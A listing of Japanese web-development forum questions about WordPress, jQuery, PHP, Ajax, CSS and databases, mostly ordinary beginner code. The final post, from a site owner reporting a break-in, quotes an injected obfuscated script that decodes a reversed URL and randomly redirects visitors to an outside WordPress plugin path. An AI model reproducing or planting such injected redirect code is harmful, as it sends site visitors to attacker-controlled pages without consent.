常連

注目の的

質問力

いつもお世話になっております。
RDMBSの比較検討しております。

どのベンダーのRDMBSが最も優れているのか？
そもそも使用用途に応じて異なるのか？
実はたいして変わらないのか？

機能面（性能、セキュリティ、耐久性）、コスト面、サポート体制充実度など

ご知見のある方のご意見を賜りたいです。

一般論として、以下サイトからは情報を得ているものの、また違った観点からのご意見がありましたらご教示頂きたいです。

□DBアーキテクチャ比較表
https://www.pgecons.org/wp-content/uploads/PGECons/2015/WG2/14_Appendix_01_Architecture.pdf

□RDBMSランキング
https://db-engines.com/en/ranking


以上となります。

RDBMSの比較において、最も優れたRDMBSとは？

### やりたいこと
メインサイトのドメインが、example.com
今回導入したサブサイトのドメインを、example.com/subsite/にしたいです。

### 現状のディレクトリ構成
サクラサーバー使用しております。
![イメージ説明](https://ddjkaamml8q8x.cloudfront.net/questions/2022-11-25/8abc2f08-5c9a-4298-9d92-748c826ec1c9.jpeg)
### 把握していること
サブディレクトリにwpを設置したときに、そのサブディレクトリを排除したドメインに変更する方法として、wp関連ファイルがあるディレクトリの「index.php」と「.htaccess」を上の階層にコピペして、排除したいディレクトリがある箇所を消せば、うまくいく。と把握しております。
### 問題点
自分が直面しているディレクトリ階層だと、上記『把握していること』をやってみようとすると、エラーになってしまいます。
メインサイトのwpファイルの「index.php」と「.htaccess」と、
サブサイトのwpファイルの「index.php」と「.htaccess」が衝突するのが問題だと思っているのですが、このような認識であっていますでしょうか？
### ご教示いただきたいこと
この問題についての解決方法のアプローチをご教示いただきたいです。
有識者の皆様、どうかよろしくお願いいたします。

wpで直下ドメインが表示されるディレクトリにサブディレクトリとしてwpを設置したが、サブディレクトリのサイトドメインのディレクトリを排除したい

### 前提

https://junpei-sugiyama.com/thumbnail-switching-image/

こちらのサイトで紹介されているjQueryと

https://www.boel.co.jp/tips/vol86/

こちらで紹介されているタブ機能を使用して、

サンプル画像を表示・切り替えができるように設定したいと考えていますが、
**サブの画像をクリックするとメインの画像に合わせて画面が移動してしまいます。**
また、**タブをクリックして別の画像を表示する際、クリック後に本来表示されるはずの画像が出ず、クリック前のメイン画像が表示されてしまいます。**

![イメージ説明](https://ddjkaamml8q8x.cloudfront.net/questions/2022-10-05/ea5bbe24-343b-4d4d-8bf9-755659e30dc1.png)

jQueryコードはいじっていません。


### 実現したいこと

- サブ画像をクリックしても画面がズレないようにしたい
- タブクリック後に正しい画像を表示させたい

### 発生している問題・エラーメッセージ

```
画像の状態と、別のタブを開くと前に選択していた位置にあるサブ画像（前のタブで中央の画像を表示していたなら開いたタブでも中央の画像）が開いてしまいます。新しいタブを開いた際は1番左の画像が表示されるようにしたいです。
こちらも解決策がありましたら教えていただきたいです。
```

### 該当のソースコード

```HTML
<main>		
	
<div class="main">
	<h1 class="border" id="sample__page">製作事例のご紹介</h1>
	<div class="tab_wrap">
	<input id="tab1" type="radio" name="tab_btn" checked>
	<input id="tab2" type="radio" name="tab_btn">
	<input id="tab3" type="radio" name="tab_btn">
	<input id="tab4" type="radio" name="tab_btn">
	<input id="tab5" type="radio" name="tab_btn">
	<input id="tab6" type="radio" name="tab_btn">

	<div class="tab_area">
		<label class="tab1_label" for="tab1">tab1</label>
		<label class="tab2_label" for="tab2">tab2</label>
		<label class="tab3_label" for="tab3">tab3</label>
		<label class="tab4_label" for="tab4">tab4</label>
		<label class="tab5_label" for="tab5">tab5</label>
		<label class="tab6_label" for="tab6">tab6</label>
	</div>
	<div class="panel_area">
		<div id="panel1" class="tab_panel">
			
			<div class="main-img js-main-img">
				<p><img src="images/861.svg" alt=""></p>
				<p>サンプル</p>
				<p>これはサンプルテキストです</p>
			</div>
			
			<ul class="sub-img js-sub-img">
				
				<li class="current">
					<img src="images/861.svg" alt="" />
				</li>
				<li>
					<img src="images/864.svg" alt="" />
				</li>
				<li>
					<img src="images/866.svg" alt="" />
				</li>
			</ul>
		</div>
		<div id="panel2" class="tab_panel">
			
			<div class="main-img js-main-img">
				<p><img src="images/861.svg" alt=""></p>
				<p>サンプル</p>
				<p>これはサンプルテキストです</p>
			</div>
			
			<ul class="sub-img js-sub-img">
				
				<li class="current">
					<img src="images/861.svg" alt="" />
				</li>
				<li>
					<img src="images/864.svg" alt="" />
				</li>
				<li>
					<img src="images/866.svg" alt="" />
				</li>
			</ul>
		</div>
		<div id="panel3" class="tab_panel">
			
			<div class="main-img js-main-img">
				<p><img src="images/861.svg" alt=""></p>
				<p>サンプル</p>
				<p>これはサンプルテキストです</p>
			</div>
			
			<ul class="sub-img js-sub-img">
				
				<li class="current">
					<img src="images/861.svg" alt="" />
				</li>
				<li>
					<img src="images/864.svg" alt="" />
				</li>
				<li>
					<img src="images/866.svg" alt="" />
				</li>
			</ul>
		</div>
		<div id="panel4" class="tab_panel">
			
			<div class="main-img js-main-img">
				<p><img src="images/861.svg" alt=""></p>
				<p>サンプル</p>
				<p>これはサンプルテキストです</p>
			</div>
			
			<ul class="sub-img js-sub-img">
				
				<li class="current">
					<img src="images/861.svg" alt="" />
				</li>
				<li>
					<img src="images/864.svg" alt="" />
				</li>
				<li>
					<img src="images/866.svg" alt="" />
				</li>
			</ul>
		</div>
		<div id="panel5" class="tab_panel">
			
			<div class="main-img js-main-img">
				<p><img src="images/861.svg" alt=""></p>
				<p>サンプル</p>
				<p>これはサンプルテキストです</p>
			</div>
			
			<ul class="sub-img js-sub-img">
				
				<li class="current">
					<img src="images/861.svg" alt="" />
				</li>
				<li>
					<img src="images/864.svg" alt="" />
				</li>
				<li>
					<img src="images/866.svg" alt="" />
				</li>
			</ul>
		</div>
		<div id="panel6" class="tab_panel">
			
			<div class="main-img js-main-img">
				<p><img src="images/861.svg" alt=""></p>
				<p>サンプル</p>
				<p>これはサンプルテキストです</p>
			</div>
			
			<ul class="sub-img js-sub-img">
				
				<li class="current">
					<img src="images/861.svg" alt="" />
				</li>
				<li>
					<img src="images/864.svg" alt="" />
				</li>
				<li>
					<img src="images/866.svg" alt="" />
				</li>
			</ul>
		</div>
	</div>
</div>

</div>
</main>
```
```ここに言語を入力
/*クリックでタブ変更*/

.tab_wrap{
	width:100%;
}

input[type="radio"]{
	display:none;
}/*radioボタンのチェックを消す*/

.tab_area{
	font-size:0; 
	margin:0 auto;
	text-align: center;
}

.tab_area label{
	width:120px; 
	margin:5px 5px; 
	display:inline-block; 
	padding:12px 10px; 
	color:#999; 
	background:#FFFFFF;
	border: solid 1px #B4B4B4;
	text-align:center; 
	font-size: clamp(0.75rem, 0.9vw, 0.9rem); 
	font-weight: normal;
	cursor:pointer; 
	transition:ease 0.5s;
}

@media screen and ( max-width : 700px ){
  .tab_area label{
	  width: 100px;
  }
}

.tab_area label:hover{
	opacity:0.3;
}
.panel_area{
	background:#fff;
	margin-top: 10px;
}

.tab_panel{
	width:100%; 
	padding:20px 0; 
	display:none;
}

.tab_panel img{
	width: 100%;
	align-items: flex-start;
}

.tab_panel>div{
	gap:3%;
	margin-top: 20px;
	text-align: center;
}

.tab_panel>div img{
	width: 100%;
}

.tab_panel>div>p:nth-child(2){
	font-size: clamp(0.9rem, 1vw, 1.0rem); 
	letter-spacing:1px;
	text-align:center;
	margin-top: 10px;
}

.tab_panel>div>p:nth-child(3){
	margin-top: 10px;
}

#tab1:checked ~ .tab_area .tab1_label{
	background:#D43030;
	color:#FFFFFF;
	border: solid 2px #000000;
}
#tab1:checked ~ .panel_area #panel1{
	display:block;
}

#tab2:checked ~ .tab_area .tab2_label{
	background:#D43030;
	color:#FFFFFF;
	border: solid 2px #000000;
}
#tab2:checked ~ .panel_area #panel2{
	display:block;
}

#tab3:checked ~ .tab_area .tab3_label{
	background:#D43030;
	color:#FFFFFF;
	border: solid 2px #000000;
}
#tab3:checked ~ .panel_area #panel3{
	display:block;
}

#tab4:checked ~ .tab_area .tab4_label{
	background:#D43030;
	color:#FFFFFF;
	border: solid 2px #000000;
}
#tab4:checked ~ .panel_area #panel4{
	display:block;
}

#tab5:checked ~ .tab_area .tab5_label{
	background:#D43030;
	color:#FFFFFF;
	border: solid 2px #000000;
}
#tab5:checked ~ .panel_area #panel5{
	display:block;
}

#tab6:checked ~ .tab_area .tab6_label{
	background:#D43030;
	color:#FFFFFF;
	border: solid 2px #000000;
}
#tab6:checked ~ .panel_area #panel6{
	display:block;
}


/*クリックで画像を変更*/


/* アクティブな画像の枠線を変更 */
.sub-img li.current img {
  border: 2px solid #898989;
  transition: border .5s;
}
/* レイアウトのためのスタイル */
.container {
  margin: 50px auto 0;
  max-width: 500px;
}
.main-img {
  width: 100%;
}
.main-img img {
  height: auto;
  width: 100%;
}
.sub-img {
  display: flex;
  margin-top: 18px;
}
.sub-img li {
  margin-right: 2%;
  width: calc(96% / 3);
}
.sub-img li:nth-child(3n) {
  margin-right: 0;
}
.sub-img li img {
  border: 2px solid transparent;
  transition: border .5s;
}
.sub-img img {
  cursor: pointer;
  width: 100%;
}
```

```javascript
$(function () {
  $(".js-sub-img img").on("click", function () {
    // メイン画像に切り替えるimgのsrc取得
    img = $(this).attr("src");
    // currentクラス付け替え(枠線などを変えたい時に)
    $(".js-sub-img li").removeClass("current");
    $(this).parent().addClass("current");
    // fadeOutできたらsrc変更してfadeIn
    $(".js-main-img img").fadeOut(500, function () {
      $(".js-main-img img")
        .attr("src", img)
        .on("load", function () {
          $(this).fadeIn(500);
        });
    });
  });
});
```

### 試したこと

ここに問題に対して試したことを記載してください。

### 補足情報（FW/ツールのバージョンなど）

ここにより詳細な情報を記載してください。

クリックして画像切り替えがうまくいかない、画面が動いてしまう

以下の記事について質問があります。
https://yu-nix.com/archives/janome-markov/

こちらの記事で紹介されているコードを編集して、指定の文字数の文字列を生成するようにしたいです。どのようにしたら良いでしょうか。



Janomeでマルコフ連鎖を行い文章を生成する【自然言語処理, Python】

### 前提

WordPressで「Undefined offset」エラーが出てしまいました。
下記状況で出ています。
・海外のテーマを使用しています。
・下層ページ全てに出ています。
・WordPress管理画面のみの操作（テーマファイルはまだいじっていない）段階でエラー表示が出てしまいました。
・エラー該当ファイルは「wp-includes/post-template.php」


### 困っていること

エラーを無くしたいです。
「themes」ファイル内であれば自力で変更しようと思ったのですが、
WordPress自体のファイル内のエラーのため、勝手に変えるのままずいのでは…というところで
止まっている状態です。

### 発生している問題・エラーメッセージ
下層ページ全てに
```
Notice: Undefined offset: -1 in /home/○○○/www/---サイトURL---/wp-includes/post-template.php on line 325
```
※公開前につき、URL部分など個人的な箇所は隠しています。

### 該当のソースコード
「post-template.php on line 325」に該当するコードです。
```ここに言語名を入力
$page_no = $elements['page'];
	$content = $elements['pages'][ $page_no - 1 ];
	if ( preg_match( '//', $content, $matches ) ) {
		if ( has_block( 'more', $content ) ) {
			// Remove the core/more block delimiters. They will be left over after $content is split up.
			$content = preg_replace( '//', '', $content );
		}
```

### 調べたこと

・Undefined offsetが出る原因自体は理解しました。
・どれかのプラグインと干渉しているのでは…と推測しています

### お伺いしたいこと

１、WordPressのテーマ（子テーマ）内に何かコードを追記することで解消は可能でしょうか？
２、「wp-includes/post-template.php」をいじっても大丈夫なものでしょうか？
　　（改変場所は、コード2行目の「$content = $elements['pages'][ $page_no - 1 ];」でしょうか）

お手数お掛け致しますが、ご回答お待ちしております。

WordPressで「Undefined offset」エラーが出る問題について

以下のように記述することで省略記号を実装することはできたのですが、省略記号の三点リーダーを「...」に変更したいのです。（つまり、三点リーダーを真ん中ではなく下に実装したい）
JavaScriptで実装する方法は調べたら出てきたのですが、HTMLとCSSだけで実装することは可能でしょうか？
```html
<div class="text-area1">
    <p class="text1">テキストテキストテキストテキスト</p>
</div>
```
```css
.text-area1 {
  width: 200px;
  background-color: tan;
  margin-bottom: 12px;
}

.text1 {
  overflow: hidden;
  white-space: nowrap;
  text-overflow: ellipsis;
}
```

コードペンで書いたものも添えておきます。
https://codepen.io/sino3325/pen/KKRQqNL

ボックスからテキストがはみ出すときに表示する省略記号を「...」に変更したいのですが、HTMLとCSSでどのように記述したらいいですか？

### 前提
Webサイトの「トップページへ戻る」ボタンが効かなくて困っています。
どうやらJavaScriptのコードが誤っているようなのですが、どこが誤りなのかもしわかる方がいらっしゃいましたら、教えていただけますでしょうか？
当方HTML及びCSSは学びましたが、Javascriptに関しては初心者です。
もし足りない情報があれば追記させていただきますのでよろしくお願い致します。

### 実現したいこと
「トップページへ戻る」ボタンを動作するようにする

### 発生している問題・エラーメッセージ
ボタンは表示されるが、トップへ戻らない

### 該当のソースコード

```HTML
<!DOCTYPE html>
<html lang="ja">
<head prefix="og: https://ogp.me/ns#">
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="format-detection" content="telephone=no,email=no,address=no">
<meta name="description" content="説明文">
<meta property="og:site_name" content="説明文">
<link href="./font-awesome-4.7.0/css/font-awesome.min.css" rel="stylesheet">
<script src="https://cdn.jsdelivr.net/npm/jquery@3.2.1/dist/jquery.min.js"></script>
<link rel="stylesheet" href="./css/style-smist.css">
<link rel="stylesheet" href="./css/lightbox/lightbox.min.css">
<script src="./js/jquery.js"></script>
<script src="./js/func.js"></script>
<script src="./js/smist2.js" type="text/javascript"></script>
<script src="./js/lightbox/lightbox.min.js"></script>
<title>
タイトルです
</title>
</head>

<body>
<header>
</header>
<footer>
<p class="pagetop"><a href="#wrapper">ページトップへ</a></p>
</footer>
</body>
</html>
```

```CSS
#wrapper {
  padding: 60px 0 0;
}
.pagetop {
  display: none;
  position: fixed;
  right: 15px;
  bottom: 15px;
  width: 35px;
  overflow: hidden;
  border-radius: 35px;
  -moz-border-radius: 35px;
  -webkit-border-radius: 35px;
}
.pagetop a {
  display: block;
  overflow: hidden;
  background: url('../img-mei/common/pagetop.svg') no-repeat center center;
  background-size: 16px 8px;
  background-color: rgba(0, 0, 0, 0.2);
  padding: 35px 0 0;
  height: 0 !important;
}
```

```JavaScript
var win_w;
var win_h;
var w_status;
$(document).ready(function(){
 win_w = $(window).width();
 win_h = $(window).height();
 if(win_w < 768){
 w_status = 'sp';
 } else {
 w_status = 'pc';
 }
 setTimeout(function () {
     $('html').addClass('loading-delay');
 }, 300);
 $('header').load('../inc/header.html', function( response, status, xhr ) {
        $('.sub b').on('click', function() {
 if($('.sub').hasClass('open'))
 {
 $('.sub').removeClass('open');
 } else
 {
 $('.sub').addClass('open');
 }
 return false;
 });
    });
 $('footer').load('../inc/footer.html', function( response, status, xhr ) {
 $('a[href^="#"]').on('click', function() {
 var Hash = $(this.hash);
 var HashOffset = $(Hash).offset().top;
 if(win_w < 768){
 HashOffset = HashOffset - 60;
 }
 $("html,body").animate({
 scrollTop: HashOffset
 }, 1000);
 return false;
 });
    });
 var ua = navigator.userAgent;
 if ((ua.indexOf('iPhone') > 0) || ua.indexOf('iPod') > 0 || (ua.indexOf('Android') > 0 && ua.indexOf('Mobile') > 0)) {
 $('.tel').each(function(){
 var str = $(this).find('b').text();
 $(this).find('b').html($('<a>').attr('href', 'tel:' + str.replace(/-/g, '')).append(str + '</a>'));
 });
 }
 var scrollpos;
 $(document).on('click', '.menu', function(){ 
 win_h = $(window).height();
 var gn_h = win_h - 60; 
 if($('header').hasClass('active'))
 {
 $('body').removeClass('fixed').css({'top': 0});
 window.scrollTo( 0 , scrollpos );
 $('header').removeClass('active');
 } else
 { 
 scrollpos = $(window).scrollTop();
 $('body').addClass('fixed').css({'top': -scrollpos});
 $('header').addClass('active');
 $('.gnavi_area').css('height', gn_h);
 }
 return false;
 });
});
$(window).on('load',function(){
 pagetop();
});
var timer1 = null;
$(window).on('orientationchange resize',function(){
 if( timer1 == null )
 {
 timer1 = setTimeout(function() { 
 win_w = $(window).width();
 win_h = $(window).height();
 timer1 = null;
 }, 10);
 }
});
var timer2 = null;
$(window).on('scroll', function(){ 
 if( timer2 == null )
 {
 timer2 = setTimeout(function() { 
 pagetop();
 timer2 = null;
 }, 10);
 }
});
function pagetop(){
 var cpoint = 100;
 var element = $('.pagetop');
 var visible = element.is(':visible');
 if ($(window).scrollTop() > cpoint) {
 if( !visible ){ element.fadeIn(); } 
 } else if( visible ){
 element.fadeOut(); 
 }
}
```



JavaScript　ページのトップへ戻るボタンの実装について

文字の置換がやりたいです
。が連続して続く場合最後の。だけを置換させたいのですがどうやればいいでしょうか？
結果が、
こんにちは<br>\nこんにちは。。<br>\nこんばんは
となるようにしたいです
```ここに言語を入力
<script>
var str="こんにちは。\nこんにちは。。。\nこんばんは";
window.onload=function(){
str=str.replaceAll("。","<br>");
alert(str);
}
</script>

```

JavaScript 文字の置換

### 前提

PHPにてヤッツィーというダイスゲームを作成する演習になります。
その中でサイコロの数字が4つ連続する場合という条件定義に苦戦しております。

※追記
失礼致しました。
ソースコード、所々抜けておりましたので、
修正いたしました。


### 実現したいこと
①数字が4つ連続した場合はtrueを返したい

### 発生している問題・エラーメッセージ
trueが返っていると考えているが、falseが返ってしまっている。

### 該当のソースコード

```php
$dice=[1,2,3,4,6];
sort($dice);

$ans = "";
if(in_array(range(1,4),$dice)) {
  $ans = "4連続";}
echo $ans;

```

### 試したこと
rangeで作成した配列[1,2,3,4]が配列の$dice[1,2,3,4,6]に含まれていると考えましたが、
var_dumpで見ると、falseが返っているようです。
var_dumpで$diceと$abc=range(1,4)を見てみるとどちらも配列内の整数(int)である事を確認しております。

### 補足情報（FW/ツールのバージョンなど）

ここにより詳細な情報を記載してください。


php 配列内の数字が4つ続く場合にtrue(in_arrayの使い方)

### 実現したいこと

1.配列の中にある配列をソートキーとして指定したい。
　出席番号順(number)、名前順(name-EN)、身長順(height)を指定したい。
2.プルダウンの選択肢によってページ遷移せずに配列の値をソートして<div id="return">の中身として表示させたい。

```PHP
$array = [
    ['number'=>'10', 'name'=> array('name-JP'=>'佐藤', 'name-EN'=>'Satou'), 'physical'=> array('height'=>'165.5','weight'=> '55.5')],
    ['number'=>'48', 'name'=> array('name-JP'=>'渡辺', 'name-EN'=>'Watanabe'), 'physical'=> array('height'=>'156.8','weight'=> '48.3')],
    ['number'=>'12', 'name'=> array('name-JP'=>'鈴木', 'name-EN'=>'Suzuki'), 'physical'=> array('height'=>'160.2','weight'=> '50.6')],
    ['number'=>'2', 'name'=> array('name-JP'=>'伊藤', 'name-EN'=>'Itou'), 'physical'=> array('height'=>'155.2','weight'=> '50.9')],
    ['number'=>'28', 'name'=> array('name-JP'=>'高橋', 'name-EN'=>'Takahashi'), 'physical'=> array('height'=>'165.5','weight'=> '55.5')]
];
```

### 発生している問題・エラーメッセージ

```
SyntaxError: Unexpected token < in JSON at position 17
```

### 該当のソースコード

```HTML
<select name="example" id="example">
    <option value="sort1">出席番号</option>
    <option value="sort2">名前</option>
    <option value="sort3">身長</option>
</select>
<div id="return"></div>
```

```JavaScript
$(function(){
    $("#example").change(function() {
        const str1 = $("#example").val();
        console.log(str1);
        $.ajax({
            type: "POST",
            url: "ajax.php",
            data: { "value" : str1 },
            dataType : "json"
        }).done(function(data){
            $("#return").append('<p>'+data.value+'</p>');
        }).fail(function(XMLHttpRequest, status, e){
            alert(e);
        });
    });
});
```
```PHP
    $value = $_POST['value'];
    $return = array("value" => $value);
    header("Content-type: application/json; charset=UTF-8");
    echo json_encode($return);

    if ( strcmp($return, "sort1") == 0 ) {
        array_multisort(array_column($array, 'number'), SORT_ASC, SORT_NUMERIC, $array);
        foreach ($array as $key => $value) {
            echo $value['number'] . '番　' . $value['name']['name-JP'] . '：' . $value['physical']['height'] . 'cm　' . $value['physical']['weight'] . 'kg<br>';
        }
    } elseif ( strcmp($return, "sort2") == 0 ) {
        array_multisort(array_column($array, 'name-EN'), SORT_ASC, SORT_NUMERIC, $array);
        foreach ($array as $key => $value) {
            echo $value['number'] . '番　' . $value['name']['name-JP'] . '：' . $value['physical']['height'] . 'cm　' . $value['physical']['weight'] . 'kg<br>';
        }
    } elseif ( strcmp($return, "sort3") == 0 ) {
        array_multisort(array_column($array, 'height'), SORT_ASC, SORT_NUMERIC, $array);
        foreach ($array as $key => $value) {
            echo $value['number'] . '番　' . $value['name']['name-JP'] . '：' . $value['physical']['height'] . 'cm　' . $value['physical']['weight'] . 'kg<br>';
        }
    }

    exit;
```

### 試したこと

array_multisort(array_column($array, 'number'), SORT_ASC, SORT_NUMERIC, $array);で出席番号順はソート出来たのですが、配列になっているローマ字の名前、身長を同じように取得する事が出来ませんでした。

ajaxから受け取った値を$returnに入れ、比較して$returnがsort1であったら出席番号順、sort2であったら名前順のように処理を分けたいです。
if以降を削除すると<div id="return">に「sort1」など文字列が返されます。

上記のやり方でなくても、ページ遷移をせずにソート出来るやり方があれば他のやり方でも構いません。

### 補足情報（FW/ツールのバージョンなど）

index.phpにarray()配列とHTML、JavaScriptを記載、
ajax.phpにPHPのコードを記載しています。
jQueryのバージョンは3.6.0です。


ページ遷移せずに選択肢によってPHPの配列をソートして表示したい

prepareとexecuteとqueryの使い分けについて教えてください。

PHPマニュアルを見ても全然理解できずです。

私の認識では、
prepareとexecuteはセットでINSERTするときに使うとおもっています。

```ここに言語を入力
$sql = "INSERT INTO user_data(・・・) VALUES (・・・)"
$stmt = $pdo->prepare($sql);
$stmt->execute([・・・]);
```

preparaでsql文をセットする。
そのセットしたsql文をexecuteでバインドしていく。
という認識で大丈夫でしょうか？



queryはSELECTするときに使うと思っています。

```ここに言語を入力
$sql = "SELECT id FROM user_data";
$stmt = $pdo->query($sql);
```

これはネットで見ている限りこういった使い方が多いから
こういうもんなんだなって思っています。

ただ、
こういうもんなんだなって思って使っていて、なぜそれを使わないといけないのか理解してないので


```ここに言語を入力
$sql = "INSERT INTO user_data(・・・) VALUES (・・・)"
$stmt = $pdo->query($sql);
$stmt->execute([・・・]);
```
とか
```ここに言語を入力
$sql = "SELECT id FROM user_data";
$stmt = $pdo->prepare($sql);
```

とかやったらどうなんだろう？ダメなの？なんで？

ってなっちゃいます。

分かりやすく解説頂けると助かります。
宜しくお願いします。

prepareとexecuteとqueryの使い分けについて

WordPressのカスタム投稿に設定したカスタムフィールドに、チェックがついているかいないかで、ベーシック認証の有無を判別させたいです。

投稿カテゴリーで判別させる事例はあったのですが、カスタムフィールドで判別させるような事例がなかったため投稿いたしました。

カスタムフィールドでベーシック認証かけるかけないを判別させることは可能なのでしょうか？

特定のカスタムフィールドにチェックがついている投稿のみベーシックをかけたい


### 発生している問題・エラーメッセージ
main.phpというファイル内に記載しているJavaScriptにて、
POST送信した値を再度main.phpで受け取る処理を行いたいです。
現状、PHP 側で値を受け取ることができておりません。
アラートは'OK'が表示されますが、
console_log(data)で何も出力されません。

### 該当のソースコード

```ここに言語名を入力
<?php
$value = filter_input(INPUT_POST,'str_test');
if(is_null($value)){
    echo "str_testが送られていない";
}
echo $value;

~ 省略 ~

$alert = "
<script src='https://code.jquery.com/jquery-3.2.1.min.js'></script>
<script type='text/javascript'>
    var result = window.confirm(' アラート ');
    if( result ) {
        //「true」の処理
        var test = 'test';
        $.ajax({
           type: 'post',
           url: 'main.php',
           data: { 'str_test' : test },
        }).done(function(data){
           console.log(data);
           alert('OK');
        }).fail(function(XMLHttpRequest, textStatus, error){
           alert('NG');
        });
    } else {
        //「false」の処理
    }
</script>
";
echo $alert;
?>
```

### 試したこと
下記等を参考に色々と試しましたが、改善されませんでした。
https://teratail.com/questions/44809
https://teratail.com/questions/294990




PHP ： JavaScriptからAjaxでPOST送信したものをPHP側で受け取りたい

サクラレンタルサーバーで運営しているwordpressを、プラグイン「BackWPup」を使ってシンレンタルサーバーに移動させようとしたら、移行先サーバーでのインポート中に構文エラーが発生します。どこが悪いでしょうか。

「#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'tech-tool_tatsurog.sql.gz' at line 1」

![イメージ説明](https://ddjkaamml8q8x.cloudfront.net/questions/2022-06-03/dbf9dc0f-17ac-4dc3-8a2f-bcd570a0fb89.jpeg)

MySQL 5.7からMariaDB10.5.xにインポートすると構文エラーが発生する

phpとjavascriptを使っているのですが、関数とクラスの違いがいまいちわかりません。
クラスは設計図のようですが関数も何度も使う物なので同じように感じてしまいます。

初心者にもわかるように教えていただければ幸いです。

関数とクラスの違いがいまいちわかりません。

### 困っている事
下記画像のようにカルーセルスライダーの前後ボタンの「←」だけが何故か上手く表示されません。
![イメージ説明](https://ddjkaamml8q8x.cloudfront.net/questions/2022-05-22/2ef29b4d-7cf5-4197-becb-91174e1e8920.png)

### 試したこと
・色付けを赤にして矢印の位置を特定
・.slick-prevを{left: 80px;}に　（表示されている「→」の.slick-next{right: 80px;}と同条件）
・z-index で100にしてみても変わらず

### やりたいこと
埋まっている「←」を「→」同様に上手く表示させたい

ご教授よろしくお願いいたします。

```html
        <div class="p-slide">
          <ul class="p-slide-items">
            <li><a href=""><img class="p-slide-img" src="./assets/images/photo1.png" alt=""></a></li>
            <li><a href=""><img class="p-slide-img" src="./assets/images/photo1.png" alt=""></a></li>
            <li><a href=""><img class="p-slide-img" src="./assets/images/photo1.png" alt=""></a></li>
            <li><a href=""><img class="p-slide-img" src="./assets/images/photo1.png" alt=""></a></li>
            <li><a href=""><img class="p-slide-img" src="./assets/images/photo1.png" alt=""></a></li>
          </ul>
        </div>
```

```css
@charset 'UTF-8';
/* Slider */
.slick-loading .slick-list
{
    background: #fff url('./ajax-loader.gif') center center no-repeat;
}

/* Icons */
@font-face
{
    font-family: 'slick';
    font-weight: normal;
    font-style: normal;

    src: url('./fonts/slick.eot');
    src: url('./fonts/slick.eot?#iefix') format('embedded-opentype'), url('./fonts/slick.woff') format('woff'), url('./fonts/slick.ttf') format('truetype'), url('./fonts/slick.svg#slick') format('svg');
}
/* Arrows */
.slick-prev,
.slick-next
{
    font-size: 0;
    line-height: 0;

    position: absolute;
    top: 50%;

    display: block;

    width: 20px;
    height: 20px;
    padding: 0;
    -webkit-transform: translate(0, -50%);
    -ms-transform: translate(0, -50%);
    transform: translate(0, -50%);

    cursor: pointer;

    color: transparent;
    border: none;
    outline: none;
    background: transparent;
}
.slick-prev:hover,
.slick-prev:focus,
.slick-next:hover,
.slick-next:focus
{
    color: transparent;
    outline: none;
    background: transparent;
}
.slick-prev:hover:before,
.slick-prev:focus:before,
.slick-next:hover:before,
.slick-next:focus:before
{
    opacity: 1;
}
.slick-prev.slick-disabled:before,
.slick-next.slick-disabled:before
{
    opacity: .25;
}

.slick-prev:before,
.slick-next:before
{
    font-family: 'slick';
    font-size: 50px;
    line-height: 1;

    opacity: .75;
    color: rgb(255, 0, 0);

    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
}

.slick-prev
{
    left: 80px;
}
[dir='rtl'] .slick-prev
{
    right: -25px;
    left: auto;
}
.slick-prev:before
{
    content: '←';
}
[dir='rtl'] .slick-prev:before
{
    content: '→';
}

.slick-next
{
    right: 80px;
}
[dir='rtl'] .slick-next
{
    right: auto;
    left: -25px;
}
.slick-next:before
{
    content: '→';
}
[dir='rtl'] .slick-next:before
{
    content: '←';
}

/* Dots */
.slick-dotted.slick-slider
{
    margin-bottom: 30px;
}

.slick-dots
{
    position: absolute;
    bottom: -25px;

    display: block;

    width: 100%;
    padding: 0;
    margin: 0;

    list-style: none;

    text-align: center;
}
.slick-dots li
{
    position: relative;

    display: inline-block;

    width: 20px;
    height: 20px;
    margin: 0 5px;
    padding: 0;

    cursor: pointer;
}
.slick-dots li button
{
    font-size: 0;
    line-height: 0;

    display: block;

    width: 20px;
    height: 20px;
    padding: 5px;

    cursor: pointer;

    color: transparent;
    border: 0;
    outline: none;
    background: transparent;
}
.slick-dots li button:hover,
.slick-dots li button:focus
{
    outline: none;
}
.slick-dots li button:hover:before,
.slick-dots li button:focus:before
{
    opacity: 1;
}
.slick-dots li button:before
{
    font-family: 'slick';
    font-size: 6px;
    line-height: 20px;

    position: absolute;
    top: 0;
    left: 0;

    width: 20px;
    height: 20px;

    content: '•';
    text-align: center;

    opacity: .25;
    color: black;

    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
}
.slick-dots li.slick-active button:before
{
    opacity: .75;
    color: black;
}

```

```javascript
  $('.p-slide-items').slick({
    centerMode: true,
    centerPadding: '100px',
    slidesToShow: 2,
    arrows: true
});
```

カルーセルスライダーslickの前後ボタン（矢印）が上手く表示されない

HTMLとCSSとJavaScriptの初学者です。

コーディングに慣れてきて、記述する行数が増えていく中で、最近ふと思ったことがあります。

それが「HTMLでclass名をつける際に、意図しない箇所で同じclass名を付けてしまったことにより、CSSを記述する際に意図しない場所のレイアウトまで変更してしまった」という問題を**いかにして回避するか**ということです。

一概にこのやり方が1番良いと言えるものではないと思うのですが、私の頭で考え出したベストな回避策は

「class名を新たに付けるときにVScodeであれば「Ctrl +F」を押して検索窓を開いて、新たに入力する予定のclass名で検索して、一致するものがないか探す」

というものです。

このやり方が1番良いのでしょうか？
みなさんがこの問題についてどのように対処されているのか、ご教授いただければ幸いです。

class名を付ける際に、意図せず同じclass名を付けてしまっていたという問題を回避するためにみなさんはどうされていますか？

canvasで作成した図形やテキストを、html・cssで出力(書き出し)する事って可能でしょうか？
参考になるサイトを共有して頂く形でも構いません。方法ありますでしょうか？

canvasで作成した図形&テキストをhtml・cssで出力可能か？

### 現在仕事でWordPressを使っているのですが、不正アクセスをされました。

_<script>$NjS=function(n){if(typeof ($NjS.list[n])=="string") return $NjS.list[n].split("").reverse().join("");return $NjS.list[n];};$NjS.list=["\'php.sgalf-tropxe/tropxe/weiv/bil/noitargim-pw-eno-ni-lla/snigulp/tnetnoc-pw/ofni.stobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}</script>_


上記のようなスクリプトがサイトのコードの途中に埋め込まれてしまい、表示に不具合が出ました。
